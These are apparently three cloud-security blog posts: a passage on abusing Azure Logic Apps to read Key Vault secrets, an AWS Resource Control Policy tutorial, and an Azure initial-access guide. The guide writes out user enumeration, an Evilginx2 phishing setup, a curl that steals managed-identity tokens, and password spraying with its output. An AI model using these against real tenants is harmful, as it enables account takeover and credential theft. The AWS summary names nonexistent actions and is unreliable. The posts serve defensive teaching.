Additionally, Azure Virtual Machines (VMs) may be configured to use blob storage for custom scripts or diagnostics. If an attacker compromises the Storage Account or gains write access to the Blob container holding these scripts, they could modify them to execute malicious code with NT AUTHORITY\SYSTEM privileges. This would result in the full compromise of the VM.

5. Abusing Logic Apps 🤖

Azure Logic Apps, part of Azure's App Services, enable administrators to create and deploy integrations across cloud and on-premises environments. One of its key advantages is its ability to connect to a wide range of services, supporting complex workflows and seamless integration with diverse data sources.

Logic Apps are frequently targeted by threat actors because credentials can be hardcoded or be visible in the output of the steps. If an attacker compromises an identity that is assigned the Reader role at the scope of a Logic App, they could examine its configuration and potentially uncover sensitive data stored within it, as demonstrated in the example below.

It is also important to review the available versions of a Logic App, as hardcoded credentials may still exist in earlier versions.

Additionally, the Run History tab warrants close monitoring, as it records all previous executions of the Logic App, including any inputs provided and outputs generated.

If a security principal with the Contributor role for a Logic App is compromised, the attacker's capabilities are significantly expanded. In this scenario, attackers can modify the Logic App workflow, enabling them to add malicious actions that will execute when the specified conditions are triggered. The example below illustrates the trigger condition of a Logic App.

{

"type": "Request",

"kind": "Http",

"inputs": {

"method": "GET"

}

If the Logic App has access to a Key Vault secret, attackers could modify the workflow to retrieve it.

{

"type": "ApiConnection",

"inputs": {

"host": {

"connection": {

"referenceName": "keyvault"

}

},

"method": "get",

"path": "/secrets/@{encodeURIComponent('topsecretcreds')}/value"

},

"runAfter": {}

}

Once attackers gain the ability to edit a Logic App workflow, they can carry out various attacks. The scope of these attacks is limited only by the resources the Logic App can access, such as Blob Containers, Key Vaults, and Databases.

Mitigation Tactics ⚡️

Defending against Azure privilege escalation and lateral movement is a complex security challenge that requires a combination of defense-in-depth strategies and the principle of least privilege by assigning roles with only the minimum required permissions. Periodically reviewing and auditing role assignments—especially for high-privilege roles like Owner and Contributor—but also specific permission grants in custom roles, is crucial. Implementing least privilege through Just-In-Time (JIT) access can also help to minimize exposure and stay ahead of threat actors.

Additionally, enforcing proper Conditional Access Policies and requiring multi-factor authentication (MFA) is essential to prevent User Principals with access to sensitive resources, such as Key Vaults, from being compromised. Lastly, monitoring logs for unusual access patterns and configuring alerts for role assignments or changes can greatly help defenders detect attacks early and limit the organization's exposure to threats.

Wrap-up

In this post, we've explored some common techniques that threat actors use to move laterally and escalate privileges in Azure by abusing RBAC Roles, further compromising Resources within the tenant. In Part Two, we'll take a closer look at how attackers can exploit Entra roles and Microsoft 365 services for privilege escalation and lateral movement.

Bottom Line

Azure privilege escalation succeeds primarily through RBAC misconfigurations: overly broad service principal permissions, excessive Owner or User Access Administrator role assignments, stolen managed identity tokens, and abuse of dynamic groups. Defense requires enforcing principle of least privilege at every role assignment, auditing RBAC configurations quarterly, implementing just-in-time access for sensitive roles, rotating credentials immediately upon compromise, and monitoring for unusual privilege escalation patterns in Azure activity logs.

Building Security Guardrails with AWS Resource Control Policies

Tyler Petty — Sat, 16 Nov 2024 01:36:40 GMT

AWS recently introduced Resource Control Policies (RCPs), powerful guardrails designed to enhance your organization’s infrastructure security while enabling teams to work flexibly within defined, secure boundaries. In this blog post, we'll cover the essentials of RCPs—from foundational setup to practical use cases like enforcing S3 object encryption and managing OIDC role assumptions with external services like GitLab.

Let's get into it!

Key Takeaway: AWS Resource Control Policies enforce preventive guardrails at the organization level, blocking prohibited actions across all accounts regardless of IAM permissions - critical for preventing privilege escalation, credential exposure, and unauthorized resource modifications at scale.

Getting Started with RCPs 📚

RCPs enable centralized control over the maximum available permissions for resources within your organization. Someone misconfigured a policy allowing external access to your resources? RCPs can protect you. A team forgot to encrypt their data? RCPs can help with that!

If you've ever worked with AWS Service Control Policies (SCPs), you'll pick up on RCPs quickly! They're simply JSON policy documents with nearly identical syntax and capabilities. But there are some important distinctions to be made. Let's take a look.

RCPs can only control permissions for a few resource types:
- Amazon S3
- AWS Key Management Service
- AWS Secrets Manager
- Amazon SQS
- AWS Security Token Service

RCPs do not support the following condition keys:
- NotPrincipal
- NotAction

RCPs cannot restrict kms:RetireGrant

When actions are performed in AWS, all applicable policies are evaluated in this order to determine whether the action is allowed or denied.

Default Deny
Resource Control Policy (RCP)
Service Control Policy (SCP)
Resource-based Policies
Identity-based Policies
IAM Permissions Boundaries
Session Policies

Enabling RCPs in AWS ☁️

Before RCPs can be used, you must have AWS Organizations set up. Then it's simply a matter of enabling the capability which can be done in the console or via the command line as below.

# get aws organizations root id
export aws_root_id=$(aws --profile mgmt organizations list-roots | jq -r '.Roots[].Id')

# enable RCP policies
aws --profile mgmt organizations enable-policy-type --root-id $aws_root_id --policy-type RESOURCE_CONTROL_POLICY
{
"Root": {
"Id": "r-xxxx",
"Arn": "arn:aws:organizations::111111111111:root/o-XXXXXXXXXX/r-xxxx",
"Name": "Root",
"PolicyTypes": [
{
"Type": "RESOURCE_CONTROL_POLICY",
"Status": "PENDING_ENABLE"
}
]
}
}

After enabling, AWS will attach a default RCP on every Organization Unit (OU) and account within the AWS Organization. This cannot be altered or deleted.

{
"Version": "2012-10-17",
"Statement": [
{
"Effect": "Allow",
"Principal": "*",
"Action": "*",
"Resource": "*"
}
]
}

Now that we're all set up, let's create our first policy!

Enforcing S3 Object Encryption 🔐 🪣

While S3 now offers default server-side encryption, we can optionally enable encryption with a KMS key. For some organizations, this may be a compliance or regulatory requirement.

With RCP, we can ensure that every S3 Object uploaded to an S3 bucket is encrypted with a KMS key and deny those that are not.

First, we'll write the JSON-formatted policy and save it as a file e.g. enforce_s3_object_encryption.json .

{
"Version": "2012-10-17",
"Statement": [
{
"Effect": "Deny",
"Principal": "*",
"Action": "s3:PutObject",
"Resource": "*",
"Condition": {
"Null": {
"s3:x-amz-server-side-encryption-aws-kms-key-id": "true"
}
}
}
]
}

Next, we'll create the policy making it available in AWS Organizations. You must run this from your AWS Management account. For clarity, I'll specify the profile "mgmt" when running commands for the Management account. Note, that this will not apply the policy yet.

$ aws --profile mgmt organizations create-policy --content file://enforce_s3_object_encryption.json --name enforceS3ObjectEncryption --type RESOURCE_CONTROL_POLICY --description "Denys unencrypted objects being added to S3 buckets"
{
"Policy": {
"PolicySummary": {
"Id": "p-xxxxxxxxxx",
"Arn": "arn:aws:organizations::1111111111:policy/o-xxxxxxxxxx/resource_control_policy/p-xxxxxxxxxx",
"Name": "enforceS3ObjectEncryption",
"Description": "Denys unencrypted objects being added to S3 buckets",
"Type": "RESOURCE_CONTROL_POLICY",
"AwsManaged": false
},
"Content": "{\"Version\":\"2012-10-17\",\"Statement\":[{\"Effect\":\"Deny\",\"Principal\":\"*\",\"Action\":\"s3:PutObject\",\"Resource\":\"*\",\"Condition\":{\"Null\":{\"s3:x-amz-server-side-encryption-aws-kms-key-id\":\"true\"}}}]}"

Finally, we'll apply the policy to a particular OU. It's best practice to test policies within an OU rather than directly applying it to the Root OU. For this example, I'll target my Dev OU which contains my Dev AWS account. RCPs do not impact the Management account so you'll have to test in a different account that's already joined to your AWS Organization.

You'll need the "policy id" from the previous command.

$ aws --profile mgmt organizations attach-policy --policy-id p-xxxxxxxxxx --target-id ou-xxxx-xxxxxxxx

Now that the policy is in place, let's test it! Make sure to test from the AWS account you applied the policy to.

If you don't already have an S3 bucket handy, you can quickly create one. Just ensure encryption is set to Server-side encryption with Amazon S3 managed keys (SSE-S3). This is the default configuration when creating a bucket with the command below.

$ aws --profile dev s3api create-bucket --bucket rcp-enforce-s3-object-encryption-23948234234123
{
"Location": "/rcp-enforce-s3-object-encryption-23948234234123"
}

Now we can upload a file to the bucket.

# make file
$ touch datafile

#upload to bucket
$ aws --profile dev s3 cp datafile s3://rcp-enforce-s3-object-encryption-23948234234123/

Upon doing so you should be denied with an error message similar to the below:

upload failed: ./datafile to s3://rcp-enforce-s3-object-encryption-23948234234123/datafile An error occurred (AccessDenied) when calling the PutObject operation: User: arn:aws:iam::111111111111:user/dev_user is not authorized to perform: s3:PutObject on resource: "arn:aws:s3:::rcp-enforce-s3-object-encryption-23948234234123/datafile" with an explicit deny in a resource control policy

Nice! We've successfully blocked uploading objects to S3 when a KMS key is not used for encryption.

We can quickly create a KMS key and update our bucket to validate that objects encrypted with a KMS key can be uploaded.

$ aws --profile dev kms create-key

{
"KeyMetadata": {
"AWSAccountId": "319192286947",
"KeyId": "44d55009-ccb8-4beb-8e2c-9066fe3aa0d5",
"Arn": "arn:aws:kms:us-east-1:1111111111:key/44d55009-ccb8-4beb-8e2c-9066fe3aa0d5",
"CreationDate": "2024-11-14T17:37:37.540000-07:00",
"Enabled": true,
"Description": "",
"KeyUsage": "ENCRYPT_DECRYPT",
"KeyState": "Enabled",
"Origin": "AWS_KMS",
"KeyManager": "CUSTOMER",
"CustomerMasterKeySpec": "SYMMETRIC_DEFAULT",
"KeySpec": "SYMMETRIC_DEFAULT",
"EncryptionAlgorithms": [
"SYMMETRIC_DEFAULT"
],
"MultiRegion": false
}
}

Reference the KeyId from the previous command:

$ aws --profile dev s3api put-bucket-encryption --bucket rcp-enforce-s3-object-encryption-23948234234123 --server-side-encryption-configuration '{"Rules": [{"ApplyServerSideEncryptionByDefault": {"SSEAlgorithm": "aws:kms", "KMSMasterKeyID": "44d55009-ccb8-4beb-8e2c-9066fe3aa0d5"}}]}

Let's try to upload the object again.

$ aws --profile dev s3 cp datafile s3://rcp-enforce-s3-object-encryption-23948234234123/

upload: ./datafile to s3://rcp-enforce-s3-object-encryption-23948234234123/datafile

Nice! The file was successfully uploaded.

If you have CloudTrail with S3 data events enabled you'll be able to see the access denied message from our original attempt.

"eventTime": "2024-11-15T01:09:40Z",
"eventSource": "s3.amazonaws.com",
"eventName": "PutObject",
"awsRegion": "us-east-1",
"sourceIPAddress": "xx.xxx.xxx.xx",
"userAgent": "[Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/130.0.0.0 Safari/537.36]",
"errorCode": "AccessDenied",
"errorMessage": "User: arn:aws:iam::111111111111:user/dev_user is not authorized to perform: s3:PutObject on resource: \"arn:aws:s3:::rcp-enforce-s3-object-encryption-23948234234123/datafile.json\" with an explicit deny in a resource control policy",
"requestParameters": {
"X-Amz-Date": "20241115T010939Z",
"bucketName": "rcp-enforce-s3-object-encryption-23948234234123",
"X-Amz-Algorithm": "AWS4-HMAC-SHA256",
"x-amz-acl": "bucket-owner-full-control",
"X-Amz-SignedHeaders": "content-md5;content-type;host;x-amz-acl;x-amz-storage-class",
"Host": "rcp-enforce-s3-object-encryption-23948234234123.s3.us-east-1.amazonaws.com",
"X-Amz-Content-Sha256": "UNSIGNED-PAYLOAD",
"X-Amz-Expires": "300",
"key": "datafile.json",
"x-amz-storage-class": "STANDARD"

Enforcing Trusted OIDC Subjects from GitLab 🦊

Let's dive into one more use case. OpenID Connect (OIDC) enables authentication from other platforms and services into AWS. It's common for CI/CD pipelines from platforms like GitLab or GitHub to assume an AWS IAM Role in an AWS account for deployment of infrastructure and apps. Unfortunately, if the IAM Role's Trust Policy is misconfigured, this can lead to anyone with a GitLab or GitHub account to compromise the role and potentially the AWS account. You can check out a previous blog post about how this works.

We'll start by creating a new RCP file called enforce_oidc_subject.json.

{
"Version": "2012-10-17",
"Statement": [
{
"Effect": "Deny",
"Principal": "*",
"Action": "sts:AssumeRoleWithWebIdentity",
"Resource": "*",
"Condition": {
"StringNotEqualsIfExists": {
"gitlab.com:sub": "project_path:tyler/oidc-provider:ref_type:branch:ref:main"
}
}
}
]
}

This policy will restrict the action sts:AssumeRoleWithWebIdentity unless it's coming from GitLab from a particular project from the main branch.

If you host GitLab on-prem and have a custom domain name i.e., not gitlab.com, then alternatively you may just want to enforce the request that comes from your custom GitLab domain rather than a particular project or branch. This can be done like so:

Next, we'll create the policy.

$ aws --profile mgmt organizations create-policy --content file://enforce_oidc_subject.json --name enforceOidcSubject --type RESOURCE_CONTROL_POLICY --description "Denys Untrusted OIDC Role Assumption."

Then deploy the policy to the Dev OU using the policy id from the previous command.

$ aws --profile mgmt organizations attach-policy --policy-id p-xxxxxxxxxx --target-id ou-cxxx-xxxxxxxx

Once applied, we can run a pipeline job from GitLab. You can use a pipeline configuration file (.gitlab-ci.yml) like below. If you need help setting this configuration up, refer to the blog post mentioned earlier which will walk you through this.

variables:
AWS_DEFAULT_REGION: us-east-1
AWS_PROFILE: "oidc"

oidc:
image:
name: amazon/aws-cli:latest
entrypoint: [""]
id_tokens:
GITLAB_OIDC_TOKEN:
aud: https://gitlab.com
script:
- aws sts get-caller-identity

Now, if the configuration is correct we should get a successful run. This would be run from the project, tyler/oidc-provider.

$ aws sts get-caller-identity
{
"UserId": "AROAUUUKXxxxxxxxxxxxx:botocore-session-1731638060",
"Account": "1111111111",
"Arn": "arn:aws:sts::1111111111:assumed-role/gitlab-oidc-role/botocore-session-1731638060"
}
Cleaning up project directory and file based variables
00:01
Job succeeded

But if we try running from a different project e.g., hacker/oidc-abuse then we'll get an error. Take note that even though it's the RCP blocking this access, it doesn't directly tell us that like before. Instead, we get a generic AccessDenied error message.

$ aws sts get-caller-identity
An error occurred (AccessDenied) when calling the AssumeRoleWithWebIdentity operation: Not authorized to perform sts:AssumeRoleWithWebIdentity
Cleaning up project directory and file based variables
00:00
ERROR: Job failed: exit code 1

Additionally, we see the same generic AccessDenied message in the CloudTrail logs.

"eventTime": "2024-11-15T02:52:32Z",
"eventSource": "sts.amazonaws.com",
"eventName": "AssumeRoleWithWebIdentity",
"awsRegion": "us-east-1",
"sourceIPAddress": "xx.xxx.xxx.xxx",
"userAgent": "aws-cli/2.21.1 md/awscrt#0.22.0 ua/2.0 os/linux#5.15.154+ md/arch#x86_64 lang/python#3.12.6 md/pyimpl#CPython cfg/retry-mode#standard md/installer#docker md/distrib#amzn.2 md/prompt#off md/command#sts.get-caller-identity",
"errorCode": "AccessDenied",
"errorMessage": "An unknown error occurred",
"requestParameters": {
"roleArn": "arn:aws:iam::111111111111:role/gitlab-oidc-role",
"roleSessionName": "botocore-session-1731639152"

Wrap Up

This was a look at the all-new Resource Control Policies from AWS. These policies help provide much-needed security guardrails to protect resources at scale, especially in large organizations with potentially hundreds of AWS accounts and teams.

If you followed along and created resources, make sure to delete them. RCPs do not have a cost but the S3 bucket and KMS key do have a minimal associated cost.

# delete data in s3
$ aws --profile dev s3 rm s3://rcp-enforce-s3-object-encryption-23948234234123/ --recursive
delete: s3://rcp-enforce-s3-object-encryption-23948234234123/datafile

# delete s3 bucket
$ aws --profile dev s3api delete-bucket --bucket rcp-enforce-s3-object-encryption-23948234234123

# delete kms key (7 days is soonest)
$ aws --profile dev kms schedule-key-deletion --key-id 44d55009-ccb8-4beb-8e2c-9066fe3aa0d5 --pending-window-in-days 7
{
"KeyId": "arn:aws:kms:us-east-1:1111111111:key/44d55009-ccb8-4beb-8e2c-9066fe3aa0d5",
"DeletionDate": "2024-11-21T17:46:37.181000-07:00",
"KeyState": "PendingDeletion",
"PendingWindowInDays": 7
}

Bottom Line

AWS Resource Control Policies provide a critical security layer that acts as a preventive guardrail, blocking dangerous actions organization-wide regardless of IAM role permissions. By denying AWS:Disassociate, AWS:AssociateRole, credential exposure actions, and destructive modifications, SCPs prevent privilege escalation paths and contain blast radius. Effective guardrails require explicit Deny statements for sensitive actions, careful testing to avoid blocking legitimate operations, and regular audits to close gaps as threat actors discover new escalation vectors.

Mapping attack surface for Azure initial access

Marios Pappas — Tue, 22 Oct 2024 07:49:45 GMT

Join us in this blog post as we explore various methods that threat actors commonly use to gain initial access to Azure.

Key Takeaway: Threat actors gain initial access to Azure through unauthenticated enumeration, phishing via illicit consent grants and device codes, exploitation of publicly accessible App Services and blob containers, leaked credentials, and password spraying - defenders must enforce MFA, strong passwords, and continuous secret scanning across all attack vectors.

What is initial access?

In Microsoft Azure and other cloud environments, getting initial access as a red teamer can involve exploiting vulnerabilities in hosted applications, leveraging misconfigurations, or leveraging social engineering to break into an Azure and Microsoft 365 environment. Acquiring that critical foothold is often one of the trickiest parts of non-assume-breach scenarios, and techniques can vary depending on skillset, available tooling and the security posture of the target environment (as well as the threat actor techniques that we are looking to replicate).

Understanding these attack vectors is important for offensive security professionals who regularly test Azure environments, and arguably even more so for defenders who are tasked with mapping and reducing the human and infrastructure attack surface.

Unauthenticated mapping of the attack surface 🗺️

Unauthenticated enumeration lays the groundwork for many initial access tactics in Azure, since attackers need to gather information about the target tenant before executing one of the attacks covered in this post. Before touching on common initial access vectors, we will briefly discuss common techniques used for unauthenticated enumeration of Azure tenants.

Tenant enumeration

Attackers can use public services (e.g. OAuth endpoints) to extract the tenant ID by providing a valid domain name or email address. Moreover, there are many web sites that allow this kind of enumeration, such as aadinternals.com and whatismytenantid.com. Note that these websites are community-run services and should not be used to carry out brute force enumeration.

Open-source tools like AADInternals have some very useful cmdlets for unauthenticated access of Azure tenants that can reveal valuable information to attackers, such as Tenant Information and Domain Federation Discovery.

Attackers can also collect domain names linked to the Azure tenant using methods like WHOIS lookups and SSL certificate analysis to identify subdomains or external services. This not only gives them a more comprehensive view of the target tenant but also enables them to launch more convincing phishing campaigns.

User enumeration

User enumeration is a prerequisite for many attacks, such as phishing or password spraying, since threat actors (and those simulating them to test the blue team) must acquire valid email addresses before executing those attacks.

Open-source intelligence (OSINT) for employee enumeration is often the first step to identifying valid email addresses for non-assume breach assessments. Attackers gather publicly available information, such as employee names, email addresses, and job titles, through sources like LinkedIn, company websites, social media and online directories.

Knowing their names may also allow attackers to target code repositories and forum profiles of employees to uncover exposed sensitive data, or to search for leaked credentials that could still be used to authenticate to target services.

After identifying employee names, the next step is to figure out the proper SignInName format. Most organizations use a standard convention for all employees, such as FirstName.LastName (john.doe@company.com) or FirstInitialLastName (jdoe@company.com). Attackers can utilize open-source tools such as namemash.py to generate multiple SignInName variations based on common conventions, after providing the full name of one or multiple employees, as shown in the example below:

PS C:\AzureTools\o365spray> type .\names.txt
Marios Pappas

PS C:\AzureTools\o365spray> python.exe .\namemash.py .\names.txt
mariospappas
pappasmarios
marios.pappas
pappas.marios
pappasm
mpappas
pmarios
m.pappas
p.marios
marios
pappas

Attackers then can use tools such as o365spray to identify valid users in the target tenant.

PS C:\AzureTools\o365spray> python.exe .\o365spray.py --enum -U .\signinnames.txt -d target.org

*** O365 Spray ***

>----------------------------------------<

> version : 3.0.4
> domain : target.org
> enum : True
> userfile : .\signinnames.txt
> validate_module: getuserrealm
> enum_module : oauth2
> rate : 10 threads
> poolsize : 10000
> timeout : 25 seconds
> start : 2024-08-20 21:00:47

>----------------------------------------<

[2024-08-20 21:00:47,982] info | Validating: target.org
[2024-08-20 21:00:49,480] info | [VALID] The following domain appears to be using O365: target.org
[2024-08-20 21:00:49,489] info | Running user enumeration against 11 potential users
[2024-08-20 21:00:51,035] info | [VALID] mpappas@target.org

The functionality of those tools is based on probing Azure login pages and provides attackers with a method to determine whether a username exists or not based on error messages (e.g., "invalid username" vs. "incorrect password"). It's worth noting that Microsoft can sometimes change the errors codes that it returns, leading to certain techniques in user enumeration tools becoming less reliable until they are updated to use the current error codes.

Application enumeration

Application enumeration involves identifying and gathering information about applications hosted in Azure App Services (such as Function and Web Apps) or applications hosted on other Azure resources such as virtual machines. Attackers can probe Azure endpoints to discover such services using tools such as AzSubEnum. It should be noted that we would need to verify company ownership of any identified resources, as it is not guaranteed that they belong to the target company.

PS C:\AzureTools\AzSubEnum> python.exe .\azsubenum.py -b targetcorp -p .\permutations.txt -t 15

Discovered Subdomains:

Storage Accounts - Queues:
------------------------------------------------
targetcorp.queue.core.windows.net
targetcorp.queue.core.windows.net

Storage Accounts - Blobs:
-----------------------------------------------
targetcorp.blob.core.windows.net
targetcorp.blob.core.windows.net

App Services - Management:
-----------------------------------------------
targetcorp-portal.scm.azurewebsites.net
targetcorp-hr.scm.azurewebsites.net

App Services:
-------------------------------------------
targetcorp-portal.azurewebsites.net targetcorp-hr.azurewebsites.net

Common Azure initial access methods

The diagram below serves as a quick reference for common ways to gain access to an Azure tenant from a non-credentialed starting point.

Employee phishing 🎣

Employees are often considered the weakest link in cybersecurity due to being susceptible to social engineering attacks. End users can be tricked through various means into divulging sensitive information. However, our focus here is on credential theft.

Illicit consent grant

In an illicit consent grant attack, the attacker creates an Azure-registered application that requests access to data such as contact information, email, or documents. The attacker then tricks an end user into granting that application consent to access their data either through a phishing attack, or by injecting illicit code into a trusted website. After the illicit application is granted consent, it has access to data in the privileged context of the targeted user. Note that if the user doesn't have permissions to access a specific resource, even if the malicious application defines it they will not get access.

Threat actors can register a custom domain in their own Azure tenant, create a multi-tenant application in it, and then use a subdomain that matches the target organization's domain to host this malicious application. This fake application should mimic a legitimate service that the target user interacts with on a regular basis. Threat actors commonly use website cloners to achieve that.

The attacker will then initiate a phishing campaign, sending emails or messages to potential victims, inviting them to log in or to authorize the malicious application. When users click on the phishing link, they are redirected to the attacker's malicious application, which presents an OAuth consent screen that looks legitimate. The screen requests permissions similar to those of the genuine application. Once consent is granted, the attacker receives an access token, which allows them to access the user’s resources, such as files, contacts, or other sensitive information.

Applications asking for too many permissions, especially ones that don’t align with their intended purpose should raise red flags to employees and security teams, and warn them of possible illicit grant content attacks targeting them. However, we know that this is unrealistic to expect end users to be this vigilant all the time. Common Microsoft Graph permissions used by such fake applications include:

User Profile Permissions:

User.Read: Sign in and read the user’s profile.
User.ReadBasic.All: Read the basic profiles of all users.
User.Read.All: Read all users' full profiles.
User.ReadWrite.All: Read and write all users' profiles.

Contacts Permissions:

Contacts.Read: Read the signed-in user’s contacts.
Contacts.ReadWrite: Read and write the signed-in user’s contacts.
Contacts.Read.All: Read all users' contacts.
Contacts.ReadWrite.All: Read and write all users' contacts.

Mail Permissions:

Mail.Read: Read the signed-in user's mail.
Mail.ReadWrite: Read and write the signed-in user's mail.
Mail.Send: Send mail as the signed-in user.
Mail.Read.All: Read all users' mail.
Mail.ReadWrite.All: Read and write all users' mail.

Calendar Permissions:

Calendars.Read: Read the signed-in user’s calendar.
Calendars.ReadWrite: Read and write the signed-in user’s calendar.
Calendars.Read.Shared: Read shared calendars.
Calendars.ReadWrite.Shared: Read and write shared calendars.
Calendars.Read.All: Read all users' calendars.

Files and OneDrive Permissions:

Files.Read: Read the signed-in user’s files.
Files.ReadWrite: Read and write the signed-in user’s files.
Files.Read.All: Read all users' files.
Files.ReadWrite.All: Read and write all users' files.

Social Media Permissions:

Notes.Read: Read the signed-in user’s OneNote notebooks.
Notes.ReadWrite: Read and write the signed-in user’s OneNote notebooks.
Notes.Read.All: Read all users' OneNote notebooks.

Directory Permissions:

Directory.Read.All: Read data in your organization's directory.
Directory.ReadWrite.All: Read and write data in your organization's directory.
Group.Read.All: Read all groups in your organization.
Group.ReadWrite.All: Read and write all groups in your organization.

Device Permissions:

Device.Read.All: Read all device information in your organization.
Device.ReadWrite.All: Read and write device information in your organization.

Device code phishing attack

One of the authentication flows of OAuth is the "device authorization grant". This specific flow is intended to allow input-constrained devices, such as headless terminals, smart TVs and printers to be authorized to Azure. Users are given a unique code and a link to visit a webpage in a browser or on a second device to enter the code to approve the login session on the first device.

This authorization flow can be seen in the diagram below.

A threat actor can leverage this method to execute a phishing attack on a target by persuading them to visit their authentication provider's website and input a code provided by the attacker, thus granting access to their account.

An important aspect to keep in mind with device code phishing is that device codes expire after 15 minutes, so attackers need to successfully carry out their phishing campaign during that window of opportunity.

Email phishing attacks

Attackers can use sophisticated phishing frameworks, such as Evilginx2, to capture authentication requests. With Evilginx2 and other Adversary-in-The-Middle (AiTM) frameworks, the attacker creates a phishing link that directs the target to the Evilginx2 reverse-proxied login page. This link is often shared via email or messaging platforms. When the target user clicks the phishing link, the malicious domain resolves to the Evilginx2 server. When they enter their credentials, Evilginx2 forwards these credentials on to the https://login.microsoftonline.com endpoint. Once the victim successfully logs in, Evilginx2 captures the authentication token (OAuth or SAML) and any session cookies. This allows the attacker to authenticate as the user without needing their password (although the user's password and OTP is captured as well).

Adversary-in-The-Middle attacks allow threat actors not only to phish credentials but completely hijack authenticated sessions, bypassing MFA restrictions entirely. We can use an Evilginx2 Microsoft 365 phishlet to launch facilitate the attack.

PS C:\AzureTools> evilginx2 -p C:\AzureTools\evilginx2\phishlets : config domain attacker.threat : config ip 10.10.10.10 : phishlets hostname o365 login.attacker.threat : phishlets get-hosts o365

This initial access tactic can be explored in the Phished for Initial Access and Bypass Azure MFA with Evilginx hands-on labs.

App Services compromise 🌎

Azure App Services is a fully managed platform for building, deploying, and scaling web applications and services. It supports various programming languages, including .NET, PHP, Node.js, Python, and Java, allowing developers to create web apps, mobile backends, and RESTful APIs. Azure App Services (even serverless apps) can be vulnerable to a wide range of web application vulnerabilities such as Insecure Direct Object References (IDOR), SQL Injection, OS Command Injection, Server-Side Request Forgery (SSRF) and more.

Exploiting those vulnerabilities on public-facing Azure App Services, such as Web Apps or Function Apps, can provide threat actors with an opportunity to gain access to information, get code execution, and even steal access tokens if the resource has been configured with a Managed Identity. For example, an OS command injection vulnerability can be leveraged to access the IDENTITY_ENDPOINT and IDENTITY_HEADER environment variables that an attacker can use the attacker can use to craft the request below and get tokens for the Managed Identity.

curl "$IDENTITY_ENDPOINT?api-version=2019-08-01&resource=https://management.azure.com/" -H "X-Identity-Header: $IDENTITY_HEADER"

This allows the attacker to authenticate and authorize to the Azure as that Managed Identity (which is a special kind of service principal), in order to further enumerate the tenant and potentially move laterally to other resources. We can authenticate using the gained access token with the PowerShell Az module as shown below. The AccountId parameter can be any arbitrary value, although it is recommended to name it in such a way that allows us to identify and manage multiple concurrent sessions.

$armtoken = 'eyJ0eXAi...b9zJ6I8wgA' Connect-AzAccount -AccessToken $armtoken -AccountId <ANYTHING>

Organizations should always have their public-facing Azure App Services thoroughly audited for OWASP Top 10 Vulnerabilities since they provide an fruitful attack surface for threat actors looking to get an initial foothold in the target tenant.

Sensitive information in public blob containers

Azure Blob Storage is Microsoft's object storage solution for the cloud. Blob Storage is optimized for storing massive amounts of unstructured data. A container organizes a set of blobs, similar to a directory in a file system. Containers have valid DNS names, as they form part of the unique URI (Uniform resource identifier) used to address the container or its blobs.

Blob containers that allow anonymous access could expose sensitive information such as credentials to attackers, giving them an initial foothold in the tenant. Often, these containers can be found storing unprotected files with sensitive information such as configuration files and various credentials such as SSH and API keys or passwords. Attackers can exploit this by scanning publicly accessible containers, retrieving the exposed data, and using it to authenticate to the tenant and get a foothold.

Tools such as MicroBurst or AzSubEnum can be used to scan for containers that allow anonymous access.

PS C:\AzureTools\AzSubEnum> python.exe .\azsubenum.py -b targetorg -p .\permutations.txt -t 15 --blobsenum -bt 15

<snip>

Checking for publicly accessible blob containers...
[+] Publicly accessible container found: https://targetorg.blob.core.windows.net/files?restype=container&comp=list
(To access the Blob Container through the Azure Storage Explorer use the following URL: https://targetorg.blob.core.windows.net/files)
[+] Blob contents:
- clients.csv
- uploadpage.php

In the example above, attackers could leverage access to exposed source code files to perform a source code review and identify vulnerabilities that would have been very difficult if not impossible to identify without this access. Threat actors can then attempt to leverage the vulnerability to gain additional information or to steal managed identity access tokens.

This initial access tactic can be explored in the Azure Blob Container to Initial Access lab.

Inadvertent disclosure

Inadvertent disclosure occurs when sensitive information, such as credentials or Azure Storage SAS keys, are mistakenly shared on public platforms like GitHub, Stack Overflow or online forums. Threat actors actively scan these platforms for exposed secrets, which they can use to gain unauthorized access to resources in Azure and Microsoft 365. Avoiding sharing sensitive information publicly and regularly scanning for such leaks is crucial in ensuring that organizations maintain a secure posture. When a leak is detected, it should be assumed that a breach has already occurred, so any credentials (password and tokens) should be immediately rotation, logs should be investigated and a potential blast radius should be established.

A good case study can be found here where Azure secrets were exposed through employees' personal GitHub repositories.

This Initial Access tactic can be explored further in the lab Abuse Dynamic Groups in Entra ID for Privilege Escalation.

Password spraying

Password spraying is a common attack technique used to gain initial access to Azure environments by exploiting weak or commonly used passwords. Instead of targeting a single user account with multiple password attempts (credential stuffing), attackers try common passwords across many different accounts to reduce the likelihood of accounts locking out. This can be particularly effective against accounts that lack multi-factor authentication (MFA) or have weak password policies. Once an attacker successfully guesses a password, they can gain access to the tenant.

PS /home/pri3st/Desktop/Training/PwnedLabs/MCRTA/MicroBurst/MSOLSpray> Invoke-MSOLSpray -UserList ./validemails.txt -Password 'Password123!'
[*] There are 4 total users to spray.
[*] Now spraying Microsoft Online.
[*] Current date and time: 08/17/2024 20:36:21
[*] SUCCESS! koni.danillo@breached.org: Password123!
[*] WARNING! The user yamamoto.sota@breached.org doesn't exist.
[*] WARNING! The user john.doe@breached.org doesn't exist.
[*] WARNING! The user takis.tsoukalas@breached.org doesn't exist.

Discovering the email convention of the target tenant is a key prerequisite since valid usernames are required to execute a password spraying attack. Predictable naming formats, such as firstname.lastname@domain.com or userID@domain.com, make it easier for threat actors to enumerate potential accounts, with possible employee names gathered from OSINT operations.

Attackers can also leverage tools such as CUPP (Common User Passwords Profiler) to gather personal information about a specific employee, including their name, hobbies, and birth dates from social media or public sources. This data is then used to generate a custom list of likely passwords based on the individual’s habits and interests. By use this personal information, attackers can increase their chances of success.

As a defense against password spraying, organizations should enforce strong password policies and enforce MFA for all employee accounts. Security awareness training should also be implemented for all employees, in order to reduce the likelihood of bad security practises and poor online trust decisions.

This Initial Access tactic can be explored in the Azure Recon to Foothold and Profit lab.

Leaked credentials

Threat actors often gather stolen credentials from past data breaches and attempt to re-use them with Microsoft services such as Azure and Microsoft 365, hoping the same username-password combination is in use. If password reuse is prevalent in a business, and multi-factor authentication (MFA) isn’t enforced, this increases the chances of threat actors getting access to company resources.

Mitigation Tactics ⚡️

Reducing the attack surface for unauthenticated attackers and preventing them from gaining the crucial initial foothold in an Azure tenant is not a simple task. It requires a multi-layered approach to ensure that there are always safety mechanisms in case one layer of security fails. Common suggestions to deal with the mentioned attacks are the following:

Enforcement of strong password policies
Enforce multi-factor authentication
Monitor and audit sign-in and access logs
